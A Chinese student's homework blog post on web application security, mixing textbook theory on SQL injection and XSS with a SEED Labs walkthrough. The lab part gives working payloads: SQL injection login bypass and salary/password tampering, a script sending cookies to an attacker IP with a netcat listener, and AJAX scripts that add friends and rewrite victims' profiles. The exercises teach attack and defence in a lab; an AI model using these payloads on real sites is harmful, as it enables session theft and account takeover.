20199114 2019-2020-2 《网络攻防实践》第十一周作业

20199114 2019-2020-2 《网络攻防实践》第十一周作业

一、实践内容

1. Web应用程序体系结构及其安全威胁

1.1 Web应用体系结构

Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如JavaApplet),依赖于浏览器来对应用程序进行渲染与执行。

Web应用体系结构由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。“胖”服务器端则由Web服务器软件、Web应用程序及后端数据库构成,并通过三层架构,即表示层、业务逻辑层和数据层,来进行组织与构建。

浏览器

标准的Web客户端就是浏览器,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。

Web服务器

Web服务器软件通常被简单的描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。

Web应用程序

现代Web应用的核心时处于服务器的业务逻辑,即Web应用程序,随着Web应用技术的发展,Web应用程序的功能越来越复杂多样化,并出现了分层的概念。最普遍应用的是三层体系结构,由表示层、业务逻辑层和数据层组成:

  • 表示层:功能是接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成。
  • 业务逻辑层:从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层,业务逻辑层时Web应用程序的核心,其实现方式报错CGI脚本程序、ASP、ASP.NET、PHP等动态脚本语言。
  • 数据层:以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新。

数据库

数据库有时也被称为“后台”,是Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层。Web应用程序的业务逻辑层通过一些列的数据库连接器连接至后数据关系系统,对数据库进行增删改查,常用数据连接器包括ODBC(开放数据库连接)、OLEDB(对象链接与嵌入数据库)、JDBC(Java数据库连接)等。

传输协议HTTP/HTTPS

浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTPP/HTTPS协议。超文本传输协议(HTTP)默认使用TCP 80端口,HTTP是相对比较简单、无状态的、基于ASCII码的协议。HTTP协议使用统一资源标识符,对范围从静态文本页面到动态视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。

为了提升HTTP 协议的安全,人们也引入了多项机制,包括使用 SSL/TLS 隧道技术来实现加密传输的HTTPS 协议:采用Cookie 机制进行会话状态管理,使得HTTP 协议运行起来像是一个有状态的协议;嵌入基础认证、摘要认证、基于表单的认证、NTLM 认证、协商认证、客户端证书认证等多种认证协议,来实现HTTP 对用户身份的认证与控制。

1.2 Web应用安全威胁

Web应用体系结构机器安全威胁层次模型中每个组件都面临安全威胁和攻击:

  • 针对浏览器和终端用户的 Web 浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
  • 针对传输网络的网络协议安全威胁:如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
  • 系统层安全威胁:Web 站点的宿主操作系统,如Windows Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。
  • Web 服务器软件安全威胁:Web服务器软件也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
  • Web 应用程序安全威胁:在使用 ASP、PHP 等脚本编程语言实现 Web 应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致 Web 应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
  • Web 数据安全威胁:Web 站点中在Web 应用程序后台存储的关键数据内容,以及Web 客户输入的数据内容,存在着被筋取、篡改及输入不良信息等威胁。

2. Web应用安全攻防技术概述

2.1 Web应用的信息收集

与系统和网络攻击类似,针对Web 应用的攻击也需要首先进行信息情报的收集,对目标Web 应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名IP地址和虚拟IP地址Web 服务器端口与其他开放服务Web 站点类型和版本Web 应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。

针对Web应用程序的探测和漏洞发现:

手工审查Web应用程序结构与源代码

在攻击者面对一个目标Web应用程序时,要做的第一件事就是手工浏览Web应用的各个页面、菜单、目录,并查看关键页面的源代码。

  1. 静态和动态生成的页面

    Web 站点上的静态 HTML 页面一般不会遭受注入攻击,但其HTML 源文件可能包含一些有价值的隐藏和注释信息,这些信息将有助于攻击者实施进一步的渗透;动态页面则更会引起攻击者的关注,他们会探查所使用的脚本编程语言 , 页面命名规则,以及参数名称、类型与含义等。

  2. 目录结构

    Web 服务器上的存储目录结构也是攻击者关注的信息,攻击者不会局限于利用浏览器
    及站点的导航链接来进行访问,他们会对Web服务器上可能存在的管理员目录、旧版本目
    录、备份日录、数据目录等进行探查,来查看这些目录是否存在,以及是否由于不安全的
    配置可以进行日录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。

  3. 辅助性文件

    Web 应用程序的一系列辅助性文件,通常用于格式化HTML 页面以适应流行浏览器的不同要求,或者执行客户端的输入验证。页面链接URL很少会直接引用这些文件,但在源代码中很可能会指向它们,手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web 应用输入参数以及数据库连接字符串等重要信息。

  4. 输入表单

    表单是Web 应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置,并可以深入地了解页面表单的各方面信息,包括提交数据的方法、表单处理行为 、输入字段名称、最人长度限制、隐藏字段、 自动完成标记、口令字段等。

  5. 查询参数字符串

    从Web 应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作,参数变量的名称提供了 Web 应用程序内部工作的信息,它们可能代表着数据表的字段名称,也可能是明显的会话标识符、用户名或口令字段。

自动下载与镜像Web站点页面

逐个手工审查分析Web站点页面源代码繁琐低效,一些自动下载与镜像Web站点页面的工具能够提升这一工作的自动化程度。

  • Linux系统:lynx、wget等工具。
  • Windows系统:TelePort Pro、Offline Explorer等。

使用Google Hacking技术审查与探测Web应用程序

Google Hacking 技术特指使用Google 搜索引擎或其他的 Google 应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。GoogleHacking 通常会使用Google 搜索引擎中的一些高级功能选项,来编写出独特的搜索条件,准确定位出符合预期目标的查询结果。

在Google 搜索中,还可以通过Site 关键字来限定搜索的域名范围,从而能够针对目标Web站点实施更具针对性的Web 应用信息情报收集。

Web应用程序安全评估与漏洞探测

完全以手工的方式,来评估Web 应用程序的安全性并找出攻击漏洞点,是非常费时间的,Web 应用安全辅助分析工具包括如下三种重要类型:

  • 浏览器插件
  • 免费工具集
  • 商业Web应用安全评估系统和漏洞扫描器

2.2 攻击Web服务器软件

Wen服务器平台中的安全漏洞主要分为如下几大类:

  • 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻
    击者在Web 服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。
  • 服务器功能扩展模块漏洞:Web 服务器软件通过一些功能扩展模块来为核心的 HTTP 引擎增加其他的功能,这些扩展模块往往较Web服务器软件的编写质量要差许多,因此也就存在更多的安全漏洞。
  • 样本文件安全漏洞:Web 服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法一旦这些样木文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对 Web 服务器实施攻击。
  • 源代码泄露:源代码泄露漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。
  • 资源解析攻击:Web服务器软件在处理资源请求时,需要将统一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。

2.3 攻击Web应用程序

针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;

授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;

客户端攻击:扰乱或者渗透攻击Web 站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;

命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Server-Side Include) 注入等:

信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;

逻辑攻击:扰乱或者渗透攻击Web 应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。

2.4 攻击Web数据内容

Web 站点除了通过服务器软件和应用程序中存在安全满洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括:

  • 安全敏感数据泄露
    由于不安全配置、使用者疏忽和缺乏安全意识,一些Web站点上可能会包含安全敏感的数据内容。这些安全敏感的数据内容可能通过如下途径和方式被泄露:

    (1) Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;

    (2) 利用Web服务器(通常可能同时是FTP服务器)的Upload、incoming 等上传目录临时中转文件时泄露;

    (3) 由于缺乏安全意识,在Web站点公开的文档资科中包含个人隐私、企业秘密。甚至国家秘密信息。

  • 网站篡改

    网站篡改是一类较早出现且流行已久的网站攻击形式,一般是网络骇客们所为,在利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。大多数网站篡改并不具备破坏性,攻击者一般仅仅通过替换页面内容或另外防止页面进行宣誓,而不会对网站内容和服务器进行恶意删除或破坏,或利用被攻陷网站实施其他攻击行为。

  • 不良信息内容上传

    Web站点被攻击者入侵和控制之后,以及一些允许用户上传内容的论坛、博客类网站,可能遭受不良信息内容上传的威胁。

2.5 Web应用安全防范措施

Web站点网络传输安全设防措施:

  • 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性。
  • 通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议。
  • 对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。

Web站点操作系统及服务安全设防措施:

  • 对Web站点的操作系统与服务器软件进行及时的补丁更新。
  • 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描。
  • 采用提升系统与服务安全性的一般性设防措施;设置强口令字以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务。

Web应用程序安全设防措施:

  • 在设计与开发Web应用时,应谨慎考虑是否采用某种技术来兼顾安全性、访问性能与便捷性。
  • 对于必须提供用户交互、采用动态页面的 Web 站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web 应用软件包,并定期进行 Web 应用程序的安全评估与漏洞扫描检测。
  • 独立、完整且集中的输入校正;对HTTP 所有内容进行校验,校验向用户输出的数据,使用安全的 SQL 查询方式,禁止使用 JavaScript 进行任何校验:使用安全统一的编码或转义方式;设定有安全的权限边界;校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。
  • 使用Web服务器软件提供的日志功能,对Web 应用程序的所有访问请进行日志
    记录与安全审计。

Web站点数据安全设防措施

  • 提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上。
  • 对维护网站的数据安全实施日常监测和防护;提升 Web 站点的安全性;掌握并善用Google 搜索引擎技巧,定期检查自己维护网站和域名内的敏感数据是否被 Google 检索;对网站的安全配置进行检查。

3. SQL注入

3.1 SQL注入攻击原理

SQL 注入攻击的原理是向 Web 应用程序提供的用户输入接口输入一段精心构造的 SQL 查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

3.2 SQL注入攻击步骤和过程

  1. 发现SQL注入点

    常见的SQL诸如点存在于形如 http://SITE/xxx.asp?some_rec=yyy的动态网页中。

    当some_rec字段是整数型参数时,通常数据库SQL操作语句为SELECT * FROM some_table WHERE some_rec = yyy,可将参数值yyy设置为如下三种不同字符串,并根据返回页面判断是否存在注入点。

    • yyy修改为yyy',输入后的数据类型不符合造成SQL语句错误,动态页面会返回错误提示信息。
    • yyy修改为yyy and 1=1,由于1=1是永真式,不对查询条件造成任何影响,因此xxx.asp返回正常页面。
    • yyy修改为yyy and 1=2,由于1=2是永假式,那么将查询不到任何信息,并返回空白页面或错误提示信息。
  2. 判断后台数据库类型

    • 利用数据库服务器的系统变量进行判断
    • 利用数据库服务器的系统表进行判断
  3. 后台数据库中管理员用户口令字猜解

    通过SQL 注入攻击如果能够猜解获取管理员用户账号的口令字,那么攻击者就可以通过后台管理界面以管理员身份登录和控制整个Web 应用程序。进行管理员用户口令字猜解的攻击过程一般包括:

    • 猜解表名
    • 猜解字段名
    • 用户名与口令猜解
  4. 上传ASP后门,得到默认账户权限

    在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。

  5. 本地权限提升

    获得Web服务器软件启动的本地受限用户权限之后,要想进一步获得系统根用户权限,
    那就需要实施一些本地权限提升攻击。

  6. 利用数据库扩展存储过程执行Shell命令

3.3 SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制。
  • 凡是来自外部的用户输入,必须进行完备检查。
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
  • 加强SQL数据库服务器的配置与连接。

4. XSS跨站脚本攻击

与代码注入攻击不同的是,XSS跨站脚本攻击的最终目标不是提供服务的 Web 应用程序, 而是使用 Web 应用程序的用户。XSS 跨站脚本漏洞存在于 Web 应用程序中,使得攻击者可以在Web页面中插入恶意的 HTML 或JavaScript 代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等危害后果。

4.1 XSS攻击技术原理

Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。

4.2 XSS攻击类型

安全业界普遍将其分为两种主要的 XSS 漏洞类型,即持久性 XSS漏洞非持久性XSS 漏洞

  • 持久性 XSS 漏洞:

    危害最为严重的 XSS 漏洞,它通常出现于一些可以将用户输入持久性地保存在 Web 服务器端,并在一些“正常”页面中持续性地显示。这种漏洞通常出现在留言本、BBS 论坛、博客等Web 应用程序中,攻击者通过留言、帖子、评论等方式注入包含恶意脚本的内容之后,这些恶意脚本将被水久性的包含在网站页面中。

  • 非持久性 XSS 漏洞:

    最普遍的类型,当Web 浏览器在HTTP 请求参数或 HTML 提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS 漏洞。

非持久性XSS漏洞的具体攻击包括如下几个步骤:

  1. 攻击者构造出一个包含恶意脚本的 bank.com 登录请求链接,并通过 Email/HTTP等方式将该攻击链接发送给其他bank.com网站用户;
  2. 受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当作用户名参数提交给bank.com的登录处理网页;
  3. 由于bank.com 登录处理页面存在 XSS 漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本;
  4. 攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如会话ID、Cookie 信息等;
  5. 者获得用户会话令牌之后,就可以劫持用户会话,或者伪造用户登录 bank.com,并可实施进一步攻击。

4.3 XSS攻击防范措施

服务器端防范措施:限制、拒绝、净化

  • 输入验证:如果 Web 应用程序在某个位置收到的用户提交数据将来有可能被复制到响应页面中,Web 应用程序应根据这种情形对这些数据执行尽可能严格的验证与过滤。
  • 输出净化: 如果 Web 应用程序将用户提交数据复制到响应页面中,那么 Web 应用程序应对这些数据进行HTML 编码,以净化可能的恶意字符。
  • 消除危险的输入点:Web 应用程序页面中有一些位置,在这里插入用户提交的输入就会造成极大的风险;因此,开发者应力求寻找其他方法执行必要的功能。

客户端防范措施

跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS 攻击需提升浏览器的安全议置。

二、实验过程

本次实践使用SEED Ubuntu 16.04虚拟机

1. SEED SQL注入实验

打开虚拟机终端,输入命令mysql -u root -p和密码seedubuntu,登录mysql,如下图所示。

登录成功后,输入use Users;选择使用的数据库,如下图所示。

6

选定数据库后,输入show tables;显示该数据库中的所有表,如图所示。

可见该数据库中只有credential一张表,之后输入 selet * from credential;查看表详情,如图所示。

7

然后,打开Firefox浏览器,输入www.SEEDLabSQLInjection.com,显示登录窗口,输入一个表中不存在的用户名,返回登录失败界面,接着按F12,查看REQUEST URL,发现校验页面是unsafe_home.php,如图所示。

/var/www/SQLInjection中找到该页面,并对其中的代码进行分析,可以看出,进行登录时,会区分管理员账户和普通用户账户,并且发现登录时的查询语句为SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= '$input_name' and Password='$hashed_pwd';

只要稍微一分析,就会发现如果我们在登录框输入用户名为Admin'#,这个语句就会变成SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= 'Admin'# and Password='$hashed_pwd';

在SQL中,#为注释符号,也就是说#之后的全被注释掉了,那么我们登录就不需要输入密码了,然后我们进行验证,如下图所示。

8

发现登录成功,可以看到所有用户的详细信息,如下图所示。

9

下面就是用命令行完成管理员登录,可以使用curl工具,在终端输入 curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录,通过返回的数据,可知攻击成功。

10

有了之前的经验,我们知道只要输入Alice'#就可以登录Alice的账户,发现登录成功,如下图所示。同样在unsafe_home.php中,根据相应的UPDATE代码,UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id,我们知道普通用户无法修改自己的工资,那么只要我们将nickname后面修改为',salary='xxx' where Name='Alice'; #,就可以修改工资了,点击Edit Profile

11

在NickName输入',salary='8000' where Name='Alice'; #,如下图所示。

12

点击save,就会发现工资已经被修改成8000。

13

同理,只要将name的参数改成别人的名字,就可以修改别人的工资,这里我把名字改成Boby,也修改成功,如下图所示。

14

从大佬的博客我知道,密码在数据库中是以SHA1的形式存储的,所以如果要修改密码,需要将密码的原形式,通过echo -n 'xxx' |sha1sum变成SHA1形式,如下图所示。

15

再和改工资一样,把salary换成password就可以修改密码了,接着在登陆页面,输入用户名和修改后的密码123,就可以登录Boby的账户了。

16

2. SEED XSS跨站脚本攻击实验

本次实验要用到的两个账号信息如下表所示:

User Password
Alice seedalice
Boby seedboby

首先,访问http://www.xsslabelgg.com,在登录框登录Alice账户,在Edit Profile界面,将<script>alert('XSS');</script>放在Brief description中,如下图所示:

点击save回到主页就会弹出警告窗口,警告信息为XSS。

21

若要显示cookie,和上一步类似,只需将代码修改为<script> alert(document.cookie);</script>即可,如下图所示:

22

点击save回到主页,就会弹出窗口:

23

在上一步中,将恶意javascript代码插到简介中打印cookie,只有用户自己可以看到,攻击者并无法看到cookie是什么,为了使攻击者可以收到Cookie,我们需要重新编写一段代码,即<script>document.write('<img src=http://192.168.0.103:5555?c=' + escape(document.cookie) + ' >');</script>,其中192.168.0.103为本机IP,充当攻击者。

恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

打开终端,输入nc -l 5555 -v,监听5555窗口,当再次进入Alice主页时,便会收到受害者cookie,-l时TCP连接,-v用来输出详细信息。

24 25

接下来,尝试自动添加受害者好友,若要添加好友,我们首先要知道添加好友应该发送什么样的指令。

这里打开samy的主页,按F12,可以看见:

请求方式为:POST

请求的三个参数为:__elgg_token=__elgg_ts=friend=

26

这里,我们让Boby自动添加Alice为好友,那么我们就需要Alice的id,老方法显示Alice的id为44。

27

接下来,将下面代码插入到Alice的About me中,这里我是在Edit HTML下。

<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

这时,登录Boby账户,再访问Alice主页,就会自动添加好友。

29

和之前步骤类似,只要将下列代码放在About me中,就可以修改受害者信息了。

<script type="text/javascript">
	window.onload = function(){
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		var samyGuid=44;
		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

再用Boby访问Alice的主页,就会被更改信息。

关于XSS蠕虫部分,看了大佬的微博也不会,有点问题。

要抵抗XSS攻击,应使用Elgg自带的安全插件HTMLawed,步骤如下:登录管理员账户,用户名Admin,密码seedelgg,之后点击Account,点击Administration,点击三条横线,点击plugins,再启动HTMLawed插件。

三、学习中遇到的问题及解决

Q1:JavaScript代码写起来有点难。

A1:参考同学和其他网友的博客,慢慢理解。

Q2:编写XSS蠕虫,不会。

A2:还没解决。

四、实践总结

SQL注入攻击的部分,因为以前好好学过数据库课程,所以理解和操作起来并不是很难。

但是到了要编写javascript代码的时候,就很吃力,因为以前并没有好好学,过了很久也有点忘了。

posted @ 2020-05-12 22:48  王昱皓  阅读(486)  评论(0编辑  收藏  举报